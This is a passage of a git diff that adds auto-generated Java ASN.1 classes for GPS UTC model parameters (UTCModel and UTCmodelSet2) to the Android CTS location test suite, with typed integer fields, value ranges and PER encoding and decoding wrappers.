+ @Override public String toIndentedString(String indent) {
+ return "utcWNlsf : "
+ + getUtcWNlsf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDN();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcDNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDN : "
+ + getUtcDN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDeltaTlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDeltaTlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDeltaTlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcDeltaTlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDeltaTlsf : "
+ + getUtcDeltaTlsf().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA1Type() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA1Type != null) {
+ return ImmutableList.of(TAG_utcA1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA1Type from encoded stream.
+ */
+ public static utcA1Type fromPerUnaligned(byte[] encodedBytes) {
+ utcA1Type result = new utcA1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA1Type from encoded stream.
+ */
+ public static utcA1Type fromPerAligned(byte[] encodedBytes) {
+ utcA1Type result = new utcA1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA0Type != null) {
+ return ImmutableList.of(TAG_utcA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA0Type from encoded stream.
+ */
+ public static utcA0Type fromPerUnaligned(byte[] encodedBytes) {
+ utcA0Type result = new utcA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA0Type from encoded stream.
+ */
+ public static utcA0Type fromPerAligned(byte[] encodedBytes) {
+ utcA0Type result = new utcA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcTotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcTotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcTotType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcTotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcTotType != null) {
+ return ImmutableList.of(TAG_utcTotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcTotType from encoded stream.
+ */
+ public static utcTotType fromPerUnaligned(byte[] encodedBytes) {
+ utcTotType result = new utcTotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcTotType from encoded stream.
+ */
+ public static utcTotType fromPerAligned(byte[] encodedBytes) {
+ utcTotType result = new utcTotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcTotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcWNtType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcWNtType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcWNtType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcWNtType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcWNtType != null) {
+ return ImmutableList.of(TAG_utcWNtType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcWNtType from encoded stream.
+ */
+ public static utcWNtType fromPerUnaligned(byte[] encodedBytes) {
+ utcWNtType result = new utcWNtType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcWNtType from encoded stream.
+ */
+ public static utcWNtType fromPerAligned(byte[] encodedBytes) {
+ utcWNtType result = new utcWNtType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcWNtType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDeltaTlsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDeltaTlsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDeltaTlsType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDeltaTlsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDeltaTlsType != null) {
+ return ImmutableList.of(TAG_utcDeltaTlsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDeltaTlsType from encoded stream.
+ */
+ public static utcDeltaTlsType fromPerUnaligned(byte[] encodedBytes) {
+ utcDeltaTlsType result = new utcDeltaTlsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDeltaTlsType from encoded stream.
+ */
+ public static utcDeltaTlsType fromPerAligned(byte[] encodedBytes) {
+ utcDeltaTlsType result = new utcDeltaTlsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDeltaTlsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcWNlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcWNlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcWNlsfType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcWNlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcWNlsfType != null) {
+ return ImmutableList.of(TAG_utcWNlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcWNlsfType from encoded stream.
+ */
+ public static utcWNlsfType fromPerUnaligned(byte[] encodedBytes) {
+ utcWNlsfType result = new utcWNlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcWNlsfType from encoded stream.
+ */
+ public static utcWNlsfType fromPerAligned(byte[] encodedBytes) {
+ utcWNlsfType result = new utcWNlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcWNlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDNType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDNType != null) {
+ return ImmutableList.of(TAG_utcDNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDNType from encoded stream.
+ */
+ public static utcDNType fromPerUnaligned(byte[] encodedBytes) {
+ utcDNType result = new utcDNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDNType from encoded stream.
+ */
+ public static utcDNType fromPerAligned(byte[] encodedBytes) {
+ utcDNType result = new utcDNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDeltaTlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDeltaTlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDeltaTlsfType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDeltaTlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDeltaTlsfType != null) {
+ return ImmutableList.of(TAG_utcDeltaTlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDeltaTlsfType from encoded stream.
+ */
+ public static utcDeltaTlsfType fromPerUnaligned(byte[] encodedBytes) {
+ utcDeltaTlsfType result = new utcDeltaTlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDeltaTlsfType from encoded stream.
+ */
+ public static utcDeltaTlsfType fromPerAligned(byte[] encodedBytes) {
+ utcDeltaTlsfType result = new utcDeltaTlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDeltaTlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTCModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java
new file mode 100755
index 0000000..204f622
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java
@@ -0,0 +1,1436 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTCmodelSet2 extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTCmodelSet2
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTCmodelSet2() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTCmodelSet2;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTCmodelSet2 != null) {
+ return ImmutableList.of(TAG_UTCmodelSet2);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTCmodelSet2 from encoded stream.
+ */
+ public static UTCmodelSet2 fromPerUnaligned(byte[] encodedBytes) {
+ UTCmodelSet2 result = new UTCmodelSet2();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTCmodelSet2 from encoded stream.
+ */
+ public static UTCmodelSet2 fromPerAligned(byte[] encodedBytes) {
+ UTCmodelSet2 result = new UTCmodelSet2();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTCmodelSet2.utcA0Type utcA0_;
+ public UTCmodelSet2.utcA0Type getUtcA0() {
+ return utcA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcA0Type
+ */
+ public void setUtcA0(Asn1Object value) {
+ this.utcA0_ = (UTCmodelSet2.utcA0Type) value;
+ }
+ public UTCmodelSet2.utcA0Type setUtcA0ToNewInstance() {
+ utcA0_ = new UTCmodelSet2.utcA0Type();
+ return utcA0_;
+ }
+
+ private UTCmodelSet2.utcA1Type utcA1_;
+ public UTCmodelSet2.utcA1Type getUtcA1() {
+ return utcA1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcA1Type
+ */
+ public void setUtcA1(Asn1Object value) {
+ this.utcA1_ = (UTCmodelSet2.utcA1Type) value;
+ }
+ public UTCmodelSet2.utcA1Type setUtcA1ToNewInstance() {
+ utcA1_ = new UTCmodelSet2.utcA1Type();
+ return utcA1_;
+ }
+
+ private UTCmodelSet2.utcA2Type utcA2_;
+ public UTCmodelSet2.utcA2Type getUtcA2() {
+ return utcA2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcA2Type
+ */
+ public void setUtcA2(Asn1Object value) {
+ this.utcA2_ = (UTCmodelSet2.utcA2Type) value;
+ }
+ public UTCmodelSet2.utcA2Type setUtcA2ToNewInstance() {
+ utcA2_ = new UTCmodelSet2.utcA2Type();
+ return utcA2_;
+ }
+
+ private UTCmodelSet2.utcDeltaTlsType utcDeltaTls_;
+ public UTCmodelSet2.utcDeltaTlsType getUtcDeltaTls() {
+ return utcDeltaTls_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcDeltaTlsType
+ */
+ public void setUtcDeltaTls(Asn1Object value) {
+ this.utcDeltaTls_ = (UTCmodelSet2.utcDeltaTlsType) value;
+ }
+ public UTCmodelSet2.utcDeltaTlsType setUtcDeltaTlsToNewInstance() {
+ utcDeltaTls_ = new UTCmodelSet2.utcDeltaTlsType();
+ return utcDeltaTls_;
+ }
+
+ private UTCmodelSet2.utcTotType utcTot_;
+ public UTCmodelSet2.utcTotType getUtcTot() {
+ return utcTot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcTotType
+ */
+ public void setUtcTot(Asn1Object value) {
+ this.utcTot_ = (UTCmodelSet2.utcTotType) value;
+ }
+ public UTCmodelSet2.utcTotType setUtcTotToNewInstance() {
+ utcTot_ = new UTCmodelSet2.utcTotType();
+ return utcTot_;
+ }
+
+ private UTCmodelSet2.utcWNotType utcWNot_;
+ public UTCmodelSet2.utcWNotType getUtcWNot() {
+ return utcWNot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcWNotType
+ */
+ public void setUtcWNot(Asn1Object value) {
+ this.utcWNot_ = (UTCmodelSet2.utcWNotType) value;
+ }
+ public UTCmodelSet2.utcWNotType setUtcWNotToNewInstance() {
+ utcWNot_ = new UTCmodelSet2.utcWNotType();
+ return utcWNot_;
+ }
+
+ private UTCmodelSet2.utcWNlsfType utcWNlsf_;
+ public UTCmodelSet2.utcWNlsfType getUtcWNlsf() {
+ return utcWNlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcWNlsfType
+ */
+ public void setUtcWNlsf(Asn1Object value) {
+ this.utcWNlsf_ = (UTCmodelSet2.utcWNlsfType) value;
+ }
+ public UTCmodelSet2.utcWNlsfType setUtcWNlsfToNewInstance() {
+ utcWNlsf_ = new UTCmodelSet2.utcWNlsfType();
+ return utcWNlsf_;
+ }
+
+ private UTCmodelSet2.utcDNType utcDN_;
+ public UTCmodelSet2.utcDNType getUtcDN() {
+ return utcDN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcDNType
+ */
+ public void setUtcDN(Asn1Object value) {
+ this.utcDN_ = (UTCmodelSet2.utcDNType) value;
+ }
+ public UTCmodelSet2.utcDNType setUtcDNToNewInstance() {
+ utcDN_ = new UTCmodelSet2.utcDNType();
+ return utcDN_;
+ }
+
+ private UTCmodelSet2.utcDeltaTlsfType utcDeltaTlsf_;
+ public UTCmodelSet2.utcDeltaTlsfType getUtcDeltaTlsf() {
+ return utcDeltaTlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet2.utcDeltaTlsfType
+ */
+ public void setUtcDeltaTlsf(Asn1Object value) {
+ this.utcDeltaTlsf_ = (UTCmodelSet2.utcDeltaTlsfType) value;
+ }
+ public UTCmodelSet2.utcDeltaTlsfType setUtcDeltaTlsfToNewInstance() {
+ utcDeltaTlsf_ = new UTCmodelSet2.utcDeltaTlsfType();
+ return utcDeltaTlsf_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA0 : "
+ + getUtcA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA1();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcA1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA1 : "
+ + getUtcA1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA2();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcA2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA2 : "
+ + getUtcA2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDeltaTls() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDeltaTls();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDeltaTlsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcDeltaTlsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDeltaTls : "
+ + getUtcDeltaTls().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcTot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcTot();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcTotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcTotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcTot : "
+ + getUtcTot().toIndentedString(indent);
+ }
